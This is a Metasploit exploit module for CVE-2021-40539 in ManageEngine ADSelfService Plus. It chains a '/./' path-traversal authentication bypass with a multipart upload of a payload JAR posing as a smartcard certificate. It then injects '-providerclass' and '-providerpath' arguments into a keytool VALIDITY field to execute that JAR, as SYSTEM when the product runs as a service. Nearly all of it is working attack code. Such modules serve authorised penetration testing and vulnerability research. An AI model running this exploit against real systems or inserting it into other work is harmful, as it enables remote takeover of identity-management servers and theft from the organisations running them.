##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Java::HTTP::ClassLoader # TODO: Refactor this
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ManageEngine ADSelfService Plus CVE-2021-40539',
        'Description' => %q{
          This module exploits CVE-2021-40539, a REST API authentication bypass
          vulnerability in ManageEngine ADSelfService Plus, to upload a JAR and
          execute it as the user running ADSelfService Plus - which is SYSTEM if
          started as a service.
        },
        'Author' => [
          # Discovered by unknown threat actors
          'Antoine Cervoise', # Independent analysis and RCE
          'Wilfried Bécard', # Independent analysis and RCE
          'mr_me', # keytool classloading technique
          'wvu' # Initial analysis and module
        ],
        'References' => [
          ['CVE', '2021-40539'],
          ['URL', 'https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html'],
          ['URL', 'https://attackerkb.com/topics/DMSNq5zgcW/cve-2021-40539/rapid7-analysis'],
          ['URL', 'https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html'],
          ['URL', 'https://github.com/synacktiv/CVE-2021-40539/blob/main/exploit.py']
        ],
        'DisclosureDate' => '2021-09-07',
        'License' => MSF_LICENSE,
        'Platform' => 'java',
        'Arch' => ARCH_JAVA,
        'Privileged' => false, # true if ADSelfService Plus is run as a service
        'Targets' => [
          ['Java Dropper', {}]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8888
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Path traversal for auth bypass', '/./'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/RestAPI/LogonCustomization'),
      'vars_post' => {
        'methodToCall' => 'previewMobLogo'
      }
    )

    unless res
      return CheckCode::Unknown('Target failed to respond to check.')
    end

    unless res.code == 200 && res.body.match?(%r{mobLogo.*/temp/tempMobPreview\.jpeg})
      return CheckCode::Safe('Failed to bypass REST API authentication.')
    end

    CheckCode::Vulnerable('Successfully bypassed REST API authentication.')
  end

  def exploit
    upload_payload_jar
    execute_payload_jar
  end

  def upload_payload_jar
    print_status("Uploading payload JAR: #{jar_filename}")

    jar = payload.encoded_jar
    jar.add_file("#{class_name}.class", constructor_class) # Hack, tbh

    form = Rex::MIME::Message.new
    form.add_part('unspecified', nil, nil, 'form-data; name="methodToCall"')
    form.add_part('yas', nil, nil, 'form-data; name="Save"')
    form.add_part('smartcard', nil, nil, 'form-data; name="form"')
    form.add_part('Add', nil, nil, 'form-data; name="operation"')
    form.add_part(jar.pack, 'application/java-archive', 'binary',
                  %(form-data; name="CERTIFICATE_PATH"; filename="#{jar_filename}"))

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/RestAPI/LogonCustomization'),
      'ctype' => "multipart/form-data; boundary=#{form.bound}",
      'data' => form.to_s
    )

    unless res&.code == 404
      fail_with(Failure::NotVulnerable, 'Failed to upload payload JAR')
    end

    # C:\ManageEngine\ADSelfService Plus\bin (working directory)
    register_file_for_cleanup(jar_filename)

    print_good('Successfully uploaded payload JAR')
  end

  def execute_payload_jar
    print_status('Executing payload JAR')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/RestAPI/Connection'),
      'vars_post' => {
        'methodToCall' => 'openSSLTool',
        'action' => 'generateCSR',
        # https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html
        'VALIDITY' => "#{rand(1..365)} -providerclass #{class_name} -providerpath #{jar_filename}"
      }
    )

    unless res&.code == 404
      fail_with(Failure::PayloadFailed, 'Failed to execute payload JAR')
    end

    print_good('Successfully executed payload JAR')
  end

  def jar_filename
    @jar_filename ||= "#{rand_text_alphanumeric(8..16)}.jar"
  end

end
